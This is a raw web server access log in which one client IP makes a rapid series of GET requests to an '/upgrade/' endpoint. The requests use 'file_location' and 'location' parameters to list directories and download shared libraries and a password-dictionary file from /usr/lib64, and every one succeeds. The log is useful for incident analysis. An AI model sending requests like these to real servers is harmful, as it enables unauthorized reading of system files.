45.135.193.11 - - [11/Sep/2026:23:00:39 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Fliblua-5.4.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 240463 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Fliblua-5.4.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:00:39 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpcre32.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 283577 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpcre32.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:00:40 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpcrecpp.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 120757 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpcrecpp.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:00:40 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtic.so.6.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 136952 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtic.so.6.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:00:41 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Fliburing-ffi.so.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 125484 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Fliburing-ffi.so.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:00:41 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-damage.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 107546 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-damage.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:00:42 -0400] "GET /upgrade/?location=%2Fusr%2Flib64%2Ffio HTTP/1.1" 200 6315 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib64%2Ffio" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:00:42 -0400] "GET /upgrade/?location=%2Fusr%2Flib64%2Fgettext HTTP/1.1" 200 6359 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib64%2Fgettext" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:00:42 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibkcapi.so.1.4.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 129232 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibkcapi.so.1.4.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:00:43 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibref_array.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 105173 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibref_array.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:00:43 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibrav1e.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 1366063 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibrav1e.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:00:43 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsmbldap.so.2.1.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 122468 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsmbldap.so.2.1.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:00:43 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtiff.so.5.8.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 311849 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtiff.so.5.8.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:00:44 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxmlrpc.so.3.51&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 153654 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxmlrpc.so.3.51&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:00:45 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibdhash.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 110599 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibdhash.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:00:45 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibfftw3f.so.3.5.8&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 942611 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibfftw3f.so.3.5.8&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:00:46 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgstrtp-1.0.so.0.2212.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 179991 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgstrtp-1.0.so.0.2212.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:00:46 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibnghttp2.so.14&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 175299 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibnghttp2.so.14&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:00:47 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpng.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 214870 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpng.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:00:47 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibstdc++.so.6.0.29&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 103715 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibstdc++.so.6.0.29&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:00:48 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtss2-tcti-swtpm.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 116894 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtss2-tcti-swtpm.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:00:48 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Fp11-kit-proxy.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 612787 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Fp11-kit-proxy.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:00:49 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibXaw.so.7&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 291778 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibXaw.so.7&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:00:49 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibXcomposite.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 108545 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibXcomposite.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:00:50 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibacl.so.1.2.2400&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 121117 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibacl.so.1.2.2400&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:00:50 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibevent.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 266540 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibevent.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:00:51 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsss_certmap.so.0.2.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 132347 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsss_certmap.so.0.2.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:00:51 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibfdk-aac.so.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 426691 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibfdk-aac.so.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:00:52 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Fliblock_manager.so.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 761478 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Fliblock_manager.so.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:00:52 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibmariadb.so.3&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 238145 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibmariadb.so.3&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:00:53 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpathplan.so.4&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 121714 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpathplan.so.4&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:00:53 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxshmfence.so.1.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 107644 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxshmfence.so.1.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:00:54 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibinih.so.49&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 108019 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibinih.so.49&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:00:54 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibopus.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 298842 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibopus.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:00:55 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsmbldap.so.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 122411 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsmbldap.so.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:00:55 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsss_sudo.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 110914 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsss_sudo.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:00:56 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Fliburcu-common.so.6&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 111683 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Fliburcu-common.so.6&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:00:56 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-record.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 110240 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-record.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:00:57 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibleveldb.so.1.23.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 252465 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibleveldb.so.1.23.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:00:57 -0400] "GET /upgrade/?location=%2Fusr%2Flib64%2Fspa-0.2 HTTP/1.1" 200 6645 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib64%2Fspa-0.2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:00:57 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Fcracklib_dict.pwi&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 355293 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Fcracklib_dict.pwi&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:00:58 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibXmu.so.6&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 155036 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibXmu.so.6&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:00:58 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibbz2.so.1.0.8&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 135210 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibbz2.so.1.0.8&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:00:58 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibcgraph.so.6.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 150152 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibcgraph.so.6.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:00:59 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibicuio.so.67.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 129260 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibicuio.so.67.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:00:59 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibthai.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 121715 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibthai.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:00 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibSegFault.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 110632 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibSegFault.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:00 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgraphite2.so.3&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 168282 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgraphite2.so.3&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:01 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibmaxminddb.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 115036 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibmaxminddb.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:01 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibwebp.so.7.1.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 324134 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibwebp.so.7.1.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:01 -0400] "GET /upgrade/?location=%2Fusr%2Flib64%2Faudit HTTP/1.1" 200 6097 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib64%2Faudit" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:02 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibexpat.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 188315 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibexpat.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:02 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibodbccr.so.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 120711 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibodbccr.so.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:03 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpwquality.so.1.0.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 114102 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpwquality.so.1.0.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:03 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibssh2.so.1.0.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 242129 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibssh2.so.1.0.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:03 -0400] "GET /upgrade/?location=%2Fusr%2Flib64%2Fgroff HTTP/1.1" 200 5736 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib64%2Fgroff" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:04 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibatasmart.so.4.0.5&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 126443 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibatasmart.so.4.0.5&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:04 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibcairo-script-interpreter.so.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 162967 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibcairo-script-interpreter.so.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:05 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibisccfg-9.16.23-RH.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 172511 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibisccfg-9.16.23-RH.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:05 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgstrtsp-1.0.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 166591 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgstrtsp-1.0.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
